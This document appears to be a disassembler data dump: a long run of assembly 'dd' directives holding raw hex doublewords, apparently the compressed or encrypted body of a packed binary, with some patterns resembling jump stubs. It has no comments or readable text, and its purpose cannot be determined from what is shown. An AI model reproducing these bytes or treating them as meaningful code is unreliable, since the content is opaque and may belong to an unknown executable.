		dd 99B71594h, 160BEEDh,	0BEED89A0h, 0D8780D82h,	8BFB1977h
		dd 7F75F06Ah, 95F6D72Fh, 3E6D1937h, 0E3C0C2E0h,	80B5C0C3h
		dd 2DC5643Dh, 8FED4EAFh, 68584E6Ch, 0E825811Fh,	0A8EE6108h
		dd 45D5Fh, 0B7059B00h, 3E2DC47Bh, 1B50E121h, 2BCF954Dh
		dd 0CCF126B7h, 2033D069h, 27070609h, 0D738E4E9h, 7E4EE576h
		dd 3D9CF15Fh, 0BCC68391h, 4CAD0864h, 0FF872726h, 622442A4h
		dd 7C91EB49h, 826EA334h, 7031CE0Dh, 0E4976B59h,	6ECFAC56h
		dd 7277E39h, 0CB6BC784h, 958h, 75D7D6B3h, 13753057h, 0B71990F5h
		dd 5ABCEB99h, 0FB5D463Ch, 21617700h, 86022082h,	0DAA9C729h
		dd 3B4B69CBh, 38B90E70h, 0D072BA03h, 60243A33h,	8200EC9Ah
		dd 26850121h, 3D4967C5h, 7BB4093Eh, 0D7382DC4h,	1AF1876h
		dd 0D754EBA5h, 0ACF78F8Fh, 72D8EF4Eh, 0FF8DB342h, 0A8BA1C87h
		dd 0A8ED9748h, 1621Fh, 0EC9A5B00h, 434361BFh, 66770668h
		dd 0C47C8C31h, 9ACF602Dh, 2DC47C23h, 0E10768C9h, 29BAFA17h
		dd 7C3B8118h, 2442FD34h, 1278404h, 0C2C892DEh, 15FC02Bh
		dd 0CAC9734Eh, 9C0A2633h, 0F3C67F71h, 8DDA71AEh, 0E37442B7h
		dd 49F37BA1h, 2F000000h, 7001015Eh, 0C280113Bh,	9FE3032Bh
		dd 9245A304h, 33CA802Fh, 0C7258202h, 7FBA0338h,	0D93A33CAh
		dd 6C1CCAB9h, 5580DE3Fh, 89417F27h, 0B757396Dh,	2EB0D6CDh
		dd 0AEF379C2h, 0C8A5h, 6095A600h, 33CA8C5Dh, 44082E8Fh
		dd 2EBFEC9Ah, 0B610861Dh, 0FDD60617h, 0C5547548h, 0F016772Dh
		dd 277C0624h, 1592F696h, 0BCEB99B7h, 789EFF5Eh,	0ABF88EACh
		dd 78ADBE4Dh, 2DC55445h, 0AB08A3E4h, 0F096244Ah, 2A9E51B3h
		dd 152DC529h, 41D03271h, 64C2E1A1h, 0F815DF05h,	767DF902h
		dd 96AECB3h, 85404378h,	0D3342BCDh, 4E0A242h, 60C22380h
		dd 2E634042h, 7E0C1475h, 0E9CE6ECAh, 44000007h,	0E6046645h
		dd 82A002A1h, 2442A403h, 0C3E14360h, 8782E4BFh,	99AE8FEh
		dd 0B0FF89A7h, 5053304Eh, 0EDB6D0EEh, 80B5368Bh, 33D0753Dh
		dd 29D599AFh, 84AAF989h, 0B5178CF6h, 3AD78F26h,	0E9A37988h
		dd 89AF109Fh, 0BE208BFBh, 0BFEC9A6Ah, 68434361h, 2406606h
		dd 5E920000h, 3B700101h, 2BC26759h, 0D98CEA4Bh,	33CA98E8h
		dd 991BB2B1h, 2077CACDh, 3A6C88AEh, 0F46F1DD3h,	9C3CD3AEh
		dd 25820636h, 0FC5168C7h, 7B072769h, 456BCA28h,	1E1BDh
		dd 0B505F900h, 3C2DC47Bh, 194EDF27h, 2BCF9549h,	31BBCB6Bh
		dd 96F45554h, 0F8C72037h, 5471C98h, 22B314DFh, 0A0E80482h
		dd 2240A203h, 8FE94764h, 1A13272h, 81072786h, 3F65C422h
		dd 0E91E2F40h, 33CF83D4h, 6E91B718h, 31CD6182h,	2BDA0F70h
		dd 34840709h, 6FE38D8h,	30590000h, 86011F81h, 0DEA7C527h
		dd 3D4765C7h, 9CE60466h, 0DDAAA507h, 0CA2C770Bh, 6DCFDCACh
		dd 0F71344Fh, 0B41695F1h, 14A9DE5Fh, 0D833D076h, 8929FEC2h
		dd 0ED4CAAF9h, 8EECBBCDh, 0B7B092Fh, 146F0FA0h,	0AED43391h
		dd 0D4B353E2h, 7C4974A9h, 4AAB2DC4h, 0EAB9C9E9h, 535036C4h
		dd 0C8DE8CF5h, 0FC5E4D39h, 0ED7506EAh, 11C61A8h, 9A9D0000h
		dd 1BFF09ECh, 17E8EE70h, 4C3A58B6h, 4EA3FD5Fh, 0F080B546h
		dd 0E22BC31Ch, 84E5C2C2h, 5D4E7326h, 2F4B33CBh,	5A5A9677h
		dd 300DAEF4h, 0E000000h, 0EA826177h, 0FC22DB83h, 1015E38h
		dd 0EBB8D070h, 9082E8Dh, 0C27F78D4h, 0BB197A2Bh, 0CA7FB908h
		dd 0E2C4E033h, 0F379C52Bh, 8EA2AEh, 29DE0000h, 84AAF989h
		dd 345490F6h, 9AB81677h, 3F5DBBE8h, 0E0FE5C47h,	0E89BFDA6h
		dd 2DC429D0h, 0CB5C473Fh, 274D582Bh, 0A0E0FD57h, 26A9DA0Fh
		dd 5EBF2BCDh, 671CBCCDh, 78E6D70Ch, 0A50633CDh,	6187E644h
		dd 92F4AFD3h, 60950E74h, 7E0B3643h, 0DD14B410h,	38000005h
		dd 0D2F05251h, 7694F6B5h, 1836980Fh, 0B7D5376Ch, 7B76D8CBh
		dd 0FDA6DCF2h, 9C0B7D9Bh, 3C671C3Ah, 0E1CABCDAh, 74A92A7Fh
		dd 33D07749h, 9AD195ABh, 3B59BBE8h, 0AAFE604Bh,	61BFEC9Ah
		dd 31B24343h, 6E6CAEBBh, 96A73899h, 0C4CC5C61h,	1370902Dh
		dd 39092F90h, 3199h
		dd 99EA8A00h, 3E318D54h, 7EDF88B6h, 0EC9A9458h,	0C0218200h
		dd 69424462h, 0C9BED0Bh, 0ACF790AEh, 990D2B4Eh,	6E38E627h
		dd 56B8F393h, 1FB6h, 0EC9AE200h, 12AE61BFh, 0E42DC47Ch
		dd 90306046h, 0EB20B1F2h, 2DC47BD2h, 0D9BC122h,	74C82A79h
		dd 2EBFEC9Ah, 53B1F68Eh, 0A802CEF4h, 85BA4B4Bh,	2BCF953Bh
		dd 0B6C758B9h, 0D8366D16h, 0C1C55379h, 246280E2h, 0B2CF2987h
		dd 73ACE172h, 4131DB85h, 0D7AF4FE0h, 0E89B3BCCh, 38C797BDh
		dd 7CCBF227h, 0C0212DC4h, 17A0C9Ah, 0C47CF1CCh,	41A2032Dh
		dd 767489E3h, 0C7B989B6h, 0C9DFE87h, 0C32969D7h, 0F52A8B2Bh
		dd 7E0D41E2h, 0C59F3F9Bh, 20000004h, 0BAD83A69h, 5E7CDECDh
		dd 1E8027h, 9FBD1F84h, 635EC0E3h, 0E5BEC49Ah, 84236583h
		dd 247F0422h, 0C9E2A4C2h, 5C911267h, 33D07861h,	9AB97D93h
		dd 8E2EBFECh, 0B585ABF8h, 56B4EF97h, 929E30C7h,	13CA5A11h
		dd 182FDAC8h, 0D9EDE67h, 0C55BE5D8h, 80A6072Dh,	0B91794F2h
		dd 8C04A250h, 6275EDF5h, 53791C2Ch, 80E2C1C5h, 0ED96826Eh
		dd 5AE5A8h, 5E210000h, 219CD101h, 0D32DC47Ch, 4B801172h
		dd 2BC23624h, 0E7D60B1Ch, 0D33CAC9h, 5ABB86ACh,	8B5929C9h
		dd 0F04FADF8h, 0CA6A698Fh, 6E7C34B9h, 5FB8B0EFh, 0D6E99CFEh
		dd 5733CB01h, 0F412742Fh, 27B6148Fh, 5752E490h,	0A74F859Eh
		dd 6F3F18ECh, 226585E6h, 0F94D5D83h, 79000003h,	61BFEC9Ah
		dd 6684343h, 0BE4F57ACh, 0E341661Eh, 0FFBEF384h, 0F52DC47Bh
		dd 3A6F6E94h, 2BC24C36h, 0CA7DDB3Ch, 33CAABF7h,	0FE5C4B3Ah
		dd 0A200A3E0h, 0A51B8B39h, 38D5D1EDh, 0AEF3A9B8h, 20AFh
		dd 15EEB00h, 113B7001h,	32BC280h, 309144A2h, 6933CA80h
		dd 3CB4594Dh, 2BAEF379h, 0F2h, 0BFEC9A67h, 643F4361h, 555033D3h
		dd 3DD4632Fh, 0E97C00EBh, 97167172h, 4D70A536h,	9F2DC4B1h
		dd 0FC8A183Eh, 87E1EAFh, 0B8DE3D9Bh, 0EBB8CEECh, 0ADC2D689h
		dd 99ED2DC4h, 0FC8AA80Ah, 9AF751AFh, 0B288356Ah, 0B6C2DC4h
		dd 74E419AAh, 5E2BC291h, 0B9CC6CFDh, 9AF4C4EAh,	0E0047E45h
		dd 43A200A3h, 52584E2h,	32C32483h, 91D1EC21h, 0C2333CAh
		dd 0FFC0958Fh, 9FC52670h, 0D1E6BA0h, 85E631D3h,	752E54F4h
		dd 168DF513h, 542D0E1h,	81217D84h, 304h, 197B2A5Fh, 0BF218CFBh
		dd 63C5E4A1h, 6683F45h,	0A7099AE8h, 750DC3ACh, 0DAAECC2Eh
		dd 364D6BCDh, 97EF0D6Fh, 0D455AA0Ch, 0D07A1E9Fh, 0F4B8CE33h
		dd 59BBE89Ah, 761633CAh, 0B3D5E81Dh, 0B6172DC4h, 8006919Fh
		dd 32BACC5Ah, 9CFB5956h, 394AD93Bh, 0C4B1B904h,	0BADA3B2Dh
		dd 2180DECDh, 15E37FBh,	113B7001h, 32BC280h, 309144A2h
		dd 6933CA80h, 3CB4594Dh, 2BAEF379h, 0E3h, 0BFEC9A67h, 643F4361h
		dd 79455306h, 1A6C2DC4h, 7F912C61h, 2632DC4h, 0A604A3E2h
		dd 0F584E647h, 53793055h, 84E2C1C5h, 3CCDD52Ah,	0D8E51A2Bh
		dd 1C2DC47Eh, 4D05D805h, 9EFF3794h, 799F047Eh, 0C2E40256h
		dd 0FE8FF02Bh, 5A80275Eh, 0D3D3308Ah, 0EB203142h, 33CB23D2h
		dd 789BC122h, 31D37DB0h, 7F902182h, 0EAB9CE6Eh,	0D2838835h
		dd 0E50B6C2Dh, 16782B57h, 0F2DF7687h, 5AFF6B7Ch, 994C7126h
		dd 0FA02DD2h, 0D298E3DAh, 47A8092Dh, 0B4EF9321h, 616787Fh
		dd 29C92584h, 1ECh, 1634247h, 0A709A4E3h, 4BADFC89h, 0EE50572Dh
		dd 8FF1B2D0h, 8DF5EB94h, 0F296B416h, 4E3553B5h,	0AFD7F557h
		dd 0BC3D92F4h, 0D07B3687h, 0DCA0B633h, 2ABBE89Ah, 1DA52C93h
		dd 0E40A7303h, 5490F614h, 0B817752Eh, 9AA1F557h, 4361BFECh
		dd 37D76843h, 99F8564Dh, 185A373h, 0CB0011A2h, 2DC47BF2h
		dd 381A102h, 0C1E746A4h, 3E469BF5h, 31780DADh, 67D1BED3h
		dd 742C2946h, 704D8213h, 842DC569h, 0C9FEFD23h,	2BC35597h
		dd 9AAB3C9Dh, 661B88FAh, 33CB7A57h, 4A163C9Dh, 0DBB5F11Fh
		dd 7A2895CAh, 0B5CC33CBh, 76FCED8Bh, 183E9F06h,	4DAFFC8Ah
		dd 3A691EBEh, 18905723h, 0BFE5D53Ch, 79898F5h, 0C92552D2h
		dd 0A6112831h, 0CB7E9794h, 0C8E644A5h, 4887E5BEh, 0A4B90C9Ah
		dd 8E96CB5Ch, 302BC334h, 92FEDD99h, 8DB32142h, 30D061C2h
		dd 56264C57h, 0F7554E38h, 9DFBAAD9h, 2E624472h,	497EF58Eh
		dd 33CA9A74h, 90B61778h, 96278402h, 9A6D5085h, 77C533CAh
		dd 0FD51F8D6h, 0ACD23390h, 256D82DCh, 2A015F94h, 92F331C9h
		dd 74701634h, 0D736940Fh, 75D6CDB7h, 1E8DF917h,	0C4E3A2C0h
		dd 63404866h, 9E2284B2h, 2D634371h, 8AB0F78Dh, 0D263A3C0h
		dd 0C33AC39Dh, 285DFD2Bh, 2F905B81h, 571E73CDh,	8415762Dh
		dd 0D656794Fh, 992A8B31h, 0C2208FF9h, 65404363h, 0B682A807h
		dd 0F03E9027h, 614F3231h, 3E644341h, 6BCDD6B0h,	0C6A394Dh
		dd 0D0EE0559h, 4D590764h, 6E1AD2B4h, 0EF7EE041h, 0C6A394Fh
		dd 0B01196EEh, 218AFC8Ah, 0C8DFA5C3h, 38BEA037h, 0C49C91B1h
		dd 6AC8E3A4h, 0EE19E50Bh, 6B1BE6C0h, 0CD18AF40h, 8B2C7E29h
		dd 0E503D3F9h, 684343A1h, 0EC4AAB0Ah, 9BADC65Dh, 0BC8A6942h
		dd 0C18CACA5h, 80A6137Fh, 370h,	65A9C00h, 62C0EF9Ah, 0B694244h
		dd 0B10F96EDh, 58B6F593h, 0FD5B483Ah, 0A200A3DFh, 45A30084h
		dd 0E9475E27h, 93F1BCCBh, 2FB2681Bh, 4890000h, 0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 52241489h,	0C281E289h
		dd 4, 8704EA83h, 895C2414h, 0A868240Ch,	8B060BEFh, 0C4812414h
		dd 4, 240C8B54h, 4C481h, 0EC810000h, 4,	8F241489h, 34FF0841h
		dd 0C4835924h, 24148B04h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0E95C243Ch, 0FFFA7BA1h, 64B8D55Bh, 3060C01h,	97E0FFC5h
		dd 70614F16h, 0C0A41EEh, 9668C585h, 2426344Bh, 1641451Fh
		dd 1E071033h, 0FD43D8A5h, 62124B2Eh, 57101272h,	752FC848h
		dd 5C0AC8ABh, 8A215624h, 711E8C47h, 576CC7E6h, 0FA65EABBh
		dd 4F6B2524h, 9E53FDA8h, 0CA007A58h, 0E81E8499h, 8, 26600740h
		dd 0EA511304h, 3830F60h, 80000000h, 0B866C2C9h,	5B61736Ah
		dd 0AAEBA66h, 6724C381h, 76B40000h, 34D57CBFh, 1DC78139h
		dd 66C6CB44h, 0B8BF78Bh, 81D78B66h, 0CAD31DC1h,	0F6BF0F57h
		dd 0AADAF181h, 81606530h, 0CE58D1DFh, 8161F815h, 7CAE29E9h
		dd 51F18A74h, 12E9h, 1FB4E600h,	456347FAh, 2F89F8ADh, 3F4EED63h
		dd 8FA02498h, 8B665603h, 0EB835AD3h, 23BE6604h,	850F4F04h
		dd 27h,	0FE9h, 88670E00h, 40D4EC77h, 40B5D8FEh,	0D3BBBFC9h
		dd 27E9h, 0DEC0D200h, 8D120AACh, 8F3662C2h, 604B0CB3h
		dd 8E38166h, 61C68B8Bh,	0FFFF79E9h, 3E3B3BFFh, 97867B7Bh
		dd 396EAB5Eh, 7D0079EBh, 218CEF9Eh, 0AFD60FE2h,	0B2979FABh
		dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h
		dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h
		dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h,	0FD91A7h
		dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h
		dd 95ABAFF6h, 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h
		dd 0E673E2ADh, 0E94B4241h, 101Ch, 0C055B68h, 79F7E906h
		dd 5C68FFFAh, 0E9060C06h, 0FFFA79EDh, 0C075E68h, 79E3E906h
		dd 8F68FFFAh, 0E9060C08h, 0FFFA79D9h, 0C092268h, 79CFE906h
		dd 0DA68FFFAh, 0E9060C09h, 0FFFA79C5h, 0C0A7C68h
		dd 79BBE906h, 2A68FFFAh, 0E9060C0Bh, 0FFFA79B1h, 0C0BF368h
		dd 79A7E906h, 0CC68FFFAh, 0E9060C0Ch, 0FFFA799Dh, 0C0E5968h
		dd 7993E906h, 0D268FFFAh, 0E9060C10h, 0FFFA7989h, 0C120368h
		dd 797FE906h, 0EC9DFFFAh, 4A3D5BBDh, 0AADBF95Bh, 97B99FBh
		dd 681A389Ah, 11DED93Bh, 0FE60433Fh, 99FBA8E0h,	3B9D087Bh
		dd 0D83A691Dh, 0F0CD0283h, 433D07Eh, 0EC9A2AEEh, 434361BFh
		dd 7BBA0338h, 0D93A2DC4h, 0A7BC1678h, 0D799CE5Fh, 1D2BC24Bh
		dd 0FD942BBCh, 8BE26E3Dh, 6619E50Bh, 33CAB05Bh,	0E49F3F3Eh
		dd 277F9BC1h, 0F3AD0AE6h, 455DAEh, 5E990000h, 3B700101h
		dd 2BC28011h, 97BF38CFh, 0FB44CA30h, 4BA90AD5h,	0CAB12998h
		dd 23800833h, 0C9DCA7C5h, 287E2C6Bh, 0E2C4E098h, 0F3AAC52Bh
		dd 0FAA2AEh, 0CA30000h,	9885D0D2h, 7E2C43D1h, 7E22F16Ch
		dd 9AE7ABD1h, 635A8FECh, 0CF2DC47Ch, 7D803ACFh,	0E647A4B3h
		dd 79092785h, 0B9CE186Bh, 0CC2B89EAh, 0E77E0D6Bh, 0BB4123Bh
		dd 0F0CD02F4h, 42DC544h, 8E1C42A3h, 0BE4DABF8h,	454578ADh
		dd 46A72DC5h, 0B7F49220h, 41F6A255h, 18B82DC5h,	7F0D3370h
		dd 86376C07h, 662DC546h, 2442A405h, 91EB4962h, 92A3347Ch
		dd 46714C81h, 22832DC5h, 2217D9FCh, 0FC5D2BC3h,	0E323409Ah
		dd 0D7D4B252h, 0B1D7CEB7h, 8301A1B2h, 27840424h, 0B042DE01h
		dd 0CF3031D3h, 0BFE49E3Eh, 542ECE5Dh, 0F26D7D99h, 162D1B3h
		dd 6E354DDBh, 0FEAA9739h, 0D474D083h, 0D71h, 0F95B4A3Fh
		dd 9F01ACDBh, 43A50481h, 0E6485F25h, 87E9BAC8h,	95EDE38Ch
		dd 0FA8EAC0Eh, 562D4BADh, 0B7CFED4Fh, 0B4358AECh, 0D0813E7Fh
		dd 0D498AE33h, 89FCE89Ah, 3957B91Ah, 0A8FC5E4Dh, 7001015Eh
		dd 0C280113Bh, 0EAEC032Bh, 72315431h, 0B2222A5Bh, 1978D6D5h
		dd 46F957B8h, 33CB0F7Bh, 69A4021Eh, 0AEF40887h,	0EDE0h
		dd 89291C00h, 0F785ABFAh, 0E383148Fh, 16E208A3h, 0B4E98AF8h
		dd 2DC47C09h, 0CB298AEBh, 0C4788018h, 0CCD7AF2Dh, 0DDBEA43Bh
		dd 0AF1C3EB1h, 6F86BA5Fh, 329FDFAh, 32711533h, 238201A1h
		dd 0BAD731FDh, 3CB4E97Ah, 362BC31Ah, 0E1A444D5h, 0DF0564C2h
		dd 5858B50Fh, 70A5B6C7h, 33CB6A4Dh, 0F5183E9Fh,	31D3C2FCh
		dd 0F50697F8h, 0E2F7745Eh, 45A402A1h, 67413E2Eh, 0F2CB7950h
		dd 395FDEB6h, 3BCCD7ABh, 59C8F52Ah, 0CB2C2DD3h,	0CBB7D5A5h
		dd 7983A3D8h, 0FC5883FEh, 0C705Ch, 5C4B3E00h, 0ABDCFAh
		dd 9E05809Eh, 41661E3Ch, 0E2C1C1DFh, 0E6F88580h, 87A5079Ch
		dd 2240A201h, 0C2E04261h, 3085E7C4h, 82437AAFh,	93A933D0h
		dd 0BBE89ACFh, 0C433CA59h, 2796CBB1h, 0CD2DC4EEh, 0F561556Ch
		dd 9EFFA6DDh, 749A097Eh, 7203A0E6h, 0CFF5B2D2h,	0EC9AABFFh
		dd 434361BFh, 9DE80668h, 0FC8AA806h, 0F7414DAFh, 5F94CC21h
		dd 2DC47C5Eh, 6F58FCD4h, 0BD1AD4EBh, 356AFB5Ch,	2BC3224Bh
		dd 9737C829h, 7193B9ECh, 54F1724Eh, 656C81E0h, 0C5248221h
		dd 12BEFF34h, 0CD2E1F51h, 95CADB6Ch, 1F511328h,	46456BCCh
		dd 0CEEF2435h, 1E1F5112h, 0D87497BDh, 5A1D4F12h, 2C419BF9h
		dd 0F8BC53E4h, 10356B57h, 82B7B6DCh, 2357E393h,	8E1D6989h
		dd 568B9C2Dh, 1F481767h, 826BC1D3h, 0BB18E4CDh,	2994C95Ah
		dd 0CB1F4831h, 0A545446Ah, 9131C2E1h, 0BF8FB5F4h, 91C6E5A1h
		dd 9289A27Bh, 6E48E844h, 3C00000Bh, 0DEFC5E4Dh,	7A98FAA9h
		dd 1C3A9C0Bh, 0BBD93B68h, 7F7ADCC7h, 1A2E0F6h, 0A807819Fh
		dd 485B2846h, 0E5BEC8E6h, 78AD2E83h, 33D08345h,	9ACD91A7h
		dd 972EBFECh, 0E1840ECBh, 4612389Fh, 0FE8F97ECh, 0C32B23C9h
		dd 37C8292Bh, 7D67E2A0h, 0CDE4E039h, 0DBC98214h, 14E40A31h
		dd 0CC5DA5BAh, 0C9515997h, 0DC3A9B31h, 0C5529829h, 0C1E5012Dh
		dd 0EE4CA44Ch, 5CC3A8h,	5EFF0000h, 3B700101h, 2BC23634h
		dd 1D2EBF20h, 3E9C0B7Dh, 582BB9DFh, 691CBC4Dh, 184DDC3Ah
		dd 33CAC9A5h, 5F85E647h, 7C69008Fh, 44AAF161h, 0AF103359h
		dd 8233CAF4h, 2745A704h, 0D9E4195Ch, 1B33CAF4h,	28C859BAh
		dd 511D4360h, 0AA8B1h, 8602A200h, 0DBADCB29h, 0AE0F6ECCh
		dd 15EC488h, 0EC3B7001h, 0D82BC879h, 78D6CDB8h,	8727B819h
		dd 2442A4FFh, 5CEB4962h, 500BDFC5h, 0F319E1E8h,	3BCCD429h
		dd 0D5338E06h, 92238431h, 305894F2h, 55B61573h,	0F2B1D5F3h
		dd 27253A94h, 0D1C6C0A5h, 6F364D86h, 0F051B211h, 78162A5Fh
		dd 7BDC2BC2h, 74A4246h,	0E181DD7Eh, 0A3Dh, 0CD2F7E0Bh
		dd 6BCDD8AFh, 0F71384Dh, 0B21493F1h, 53B5EE94h,	0C9B9AF58h
		dd 2E5A78DAh, 82011F81h, 0E3A3C123h, 901166C8h,	0D084625Bh
		dd 0B87C9233h, 0C47BBC05h, 0DC24392Dh, 78A6164Bh, 2C4C2BC8h
		dd 5430505Bh, 4C5DEE4Fh, 0D07EA617h, 80B54633h,	33D07F3Dh
		dd 0C7ED4EAFh, 455E28C8h, 2CC1C5E3h, 3763FBF0h,	0A8DD6E9Ch
		dd 33D11915h, 0B71576D7h, 6F00005Dh, 5A2BB9CFh,	2D8EED4Bh
		dd 4B4A70CFh, 0CEE7D616h, 86BB1C31h, 8402AB8Ch,	0AA57F753h
		dd 78000009h, 12309211h, 0B6D43675h, 5876D8CFh,	0F715772Ch
		dd 0BBB6188Bh, 3D661C32h, 0DCCBBDDBh, 7C275C7Ah, 218AFC1Ah
		dd 0B4E96ABFh, 33D08509h, 9A11D5EBh, 4361BFECh,	0C30A6843h
		dd 648C8125h, 3A8ED79h,	403h, 0F989293Fh, 0ABF88AAAh, 5EA6BB85h
		dd 791898CDh, 79DA2BC8h, 26C6D7E8h, 8BEA485Fh, 0D07EE7D6h
		dd 86AC0D33h, 84158EF8h, 754CA1E4h, 0A130E63Eh,	16E60C6Dh
		dd 80B9F087h, 2D3CF8B2h, 9E0D7907h, 7511B140h, 0D4ED1036h
		dd 2133D07Ch, 9333C4CCh, 178CF6F0h, 9BF95AB9h, 0E217163Ch
		dd 31CE4C0Ah, 8A196C0Ch, 3389964h, 8403280Bh, 0F2D474D0h
		dd 0C0000008h, 5A78DAC9h, 0FE1C7E2Dh, 0A0BE2087h, 3F5DBFE4h
		dd 3FE6043h, 851E647Ah,	24830523h, 0C4DFA4C2h, 69424462h
		dd 0FC31B207h, 33D084C1h, 9A591D33h, 0F8AF09ECh, 61B030C0h
		dd 284A200h, 0FC794479h, 1A7B2DC4h, 0FC695489h,	2A8B2DC4h
		dd 86246BC9h, 0F903ED20h, 3464A8EDh, 0A0000003h, 0C47BBC05h
		dd 0DC24392Dh, 78E4164Bh, 0F30A2BC8h, 0B5E1DE60h, 0EE7FE0FFh
		dd 0DA6B384Eh, 91B41043h, 0EA0AF21Bh, 4FAE0C9Bh, 4B3B5929h
		dd 4BA80260h, 6785BA4Bh, 6D31CF06h, 0CDE9D70Ch,	1A768402h
		dd 8507Ah, 3C6B1E00h, 0E0CBBCDAh, 7E25607Eh, 2186FE1Ch
		dd 0C2E1A1BFh, 0C6986560h, 6785E7BCh, 2208221h,	0A2C02281h
		dd 1065C7E4h, 86635A8Fh, 738933D0h, 0BFEC9AAFh,	68434361h
		dd 0F9CEC0Ah, 0B5F093B1h, 5D4C3957h, 1CA40230h,	9C7135D3h
		dd 0A8ED7954h, 29A13h, 89294F00h, 0F251AFFEh, 7C18A9CCh
		dd 80DD2DC4h, 37BAEF80h, 3D2BC879h, 0D8AB4BDCh,	7F55689Dh
		dd 369733D0h, 10B0AFD5h, 0FC9C2D76h, 568B1C87h,	33D07F67h
		dd 36062C8Dh, 0D7356E18h, 0BBF0607Dh, 33D07F02h, 9F3091F2h
		dd 0CE5C866Ah, 366BCC31h, 840336DAh, 0A229C925h, 70000007h
		dd 0A288A19h, 0AECC2E7Dh, 506ED0D7h, 0EF0D6F34h, 0B3AE1093h
		dd 356E14CAh, 0D4D3B5D3h, 742F5472h, 1992F412h,	0ACE162B7h
		dd 33D08711h, 9A09CDE3h, 1D2EBFECh, 409E057Dh, 7C912CE1h
		dd 2632DC4h, 94F210DCh,	0A250B917h, 1A89FD04h, 0FE8929B8h
		dd 0E90789AFh, 7A8ED74h, 27852067h, 71AA2C8h, 56000000h
		dd 1D618h, 0B6054400h, 62DC47Bh, 0A5A5B46Fh, 4D7377A8h
		dd 1E676E83h, 84952687h, 77D47CEDh, 0C5567B42h,	0F910712Dh
		dd 60869F5Fh
		dd 0C958B93Dh, 0B546A72Bh, 247F04A4h, 0CA288304h, 0CFB7456Bh
		dd 325472D4h, 0ACC11B79h, 529ED364h, 8031CF35h,	0F4DF7B69h
		dd 0EA4B6C92h, 32A63B5h, 0A0409C84h, 6D9h, 61C3E2A7h, 7694443h
		dd 0AB0D9CE9h, 4EB0F78Dh, 0EF515230h, 2D550BF4h, 92F61476h
		dd 0EE95B315h, 4F3755B7h, 1C9DF254h, 0D086D6E7h, 3C001633h
		dd 61BFEC9Ah, 0D7684343h, 0ED225137h, 2DC47BD0h, 462C324h
		dd 4AB37FA5h, 75860A9Ch, 0C47C7D40h, 0E80E6F2Dh, 88C92C5Ah
		dd 0C7A525E6h, 0ABBD1F80h, 0A8EE3C45h, 722h, 8185E00h
		dd 44000001h, 0DAE31829h, 602DC47Bh, 2B9AA1C1h,	1C7DDA36h
		dd 0F2E7D3F6h, 0F10E2DC4h, 34EB20B1h, 2BC8F0h, 186E0E9Fh
		dd 92305BD5h, 0D0F4605Dh, 1C339433h, 20E3F9h, 63C22083h
		dd 0B2D17102h, 502F8EC3h, 64C533D1h, 2046A503h,	57543250h
		dd 42429FF9h, 8500A0B1h, 1BD5F81Eh, 5931CF2Dh, 6073C3F8h
		dd 4CA88402h, 600ACh, 0ECBBCE00h, 901B6C8Ah, 2E75102Eh
		dd 0D1D6AECCh, 7231516Fh, 76681510h, 1735970Ch,	0B2D03271h
		dd 5270D2D1h, 0C0157734h, 87B30A3Fh, 233933D0h,	0BFEC9A5Fh
		dd 2DF0972Eh, 0E2636D79h, 0F30A0A9Bh, 97BD3606h, 0CAD9ADCBh
		dd 5155036Ch, 6BCDD6B0h, 0EE6D9759h, 0CDB959A8h, 0A5184DDEh
		dd 472DC57Fh, 738C0E6h,	74000000h, 3218h, 18294400h, 0DF940F78h
		dd 2DC47BDEh, 0B98EE0Eh, 90F684AAh, 0EF97B513h,	691756B4h
		dd 0E9C2C43Dh, 0D4CFB858h, 752E5876h, 3157B817h, 1FC161h
		dd 9AED0000h, 0AE61BFECh, 2DC47C12h, 0A16046E4h, 228107E5h
		dd 0BD0035C4h, 2F2DC47Bh, 0AA0C6DCEh, 78182956h, 0DFDE9310h
		dd 152DC47Bh, 86008EB4h, 1F30BF1Dh, 0C47BD3EAh,	0DB0E52Dh
		dd 0DF2DC47Ch, 0A0C0217Eh, 5FBDE6h, 0B3F310DAh,	17711122h
		dd 9DFEADD9h, 7BE6D70Ch, 0A5062DC4h, 79CB5C7Fh,	58B92BC8h
		dd 445F27C7h, 0E9C2C4E2h, 0D4DC318Bh, 91EEAC43h, 0DED87661h
		dd 789EFFA4h, 22576879h, 33D1209Bh, 0A7CAF051h,	31D51EEDh
		dd 4DED7EDFh, 79086A39h, 238A3368h, 1362DC5h, 2DC522BCh
		dd 1172CF30h, 4A295DEBh, 0C522A815h, 8AEB4C2Dh,	0B0A62F9h
		dd 0DC0C41E5h, 7390EAB6h, 67EFCE03h, 0A4052DC5h, 6CA1B243h
		dd 2DC56851h, 68833A6Fh, 8692DC5h, 25244AABh, 0C33D50F0h
		dd 78BA22Bh, 1F4D38D4h,	98DE1374h, 0C77E0677h, 473CB6Bh
		dd 48410000h, 9EE90769h, 0F68FAD0Fh, 552F4DAFh,	0B4CEEC4Eh
		dd 0E5928DEFh, 0B2148FF3h, 55B7F494h, 0F7594C37h, 9CFEADD9h
		dd 2C91C647h, 0C033D08Ah, 0EC9AE6AAh, 74497E8Fh, 782DC47Ch
		dd 7C5B6217h, 50D72DC4h, 0B8091941h, 0DD3E9FFCh, 7A295D7Bh
		dd 1B88FE1Ch, 0A654BDh,	1B678501h, 8DEBBAC9h, 106FCD2Eh
		dd 0B53B4DAFh, 0B2A8EDEFh, 43h,	869229EEh, 0B581B9D8h
		dd 0ACD8410Eh, 6E4FB795h, 21617E48h, 85145B90h,	0DF402BC2h
		dd 0B5083D4Eh, 3733CA7Ch, 11B1B0D6h, 1ED13372h,	33CA7CA1h
		dd 4FB1FA8Ch, 0F5535231h, 3C855h, 0DEA64600h, 5EDFA3C9h
		dd 65424201h, 0B647A807h, 0C2529781h, 0D6C2592Bh, 0C29E4992h
		dd 73D49FC5h, 694642E2h, 0BA86AC0Bh, 0AAF98B2Bh, 40D9E419h
		dd 0BA1B33CBh, 23800694h, 0CED886C5h, 8E6322C2h, 4C3C400Bh
		dd 0E349504h, 56E72F44h, 0C92CF721h, 6F19B931h,	5D83E240h
		dd 75CF3192h, 52871818h, 2BC343C6h, 0DFFD5BBCh,	77A200A3h
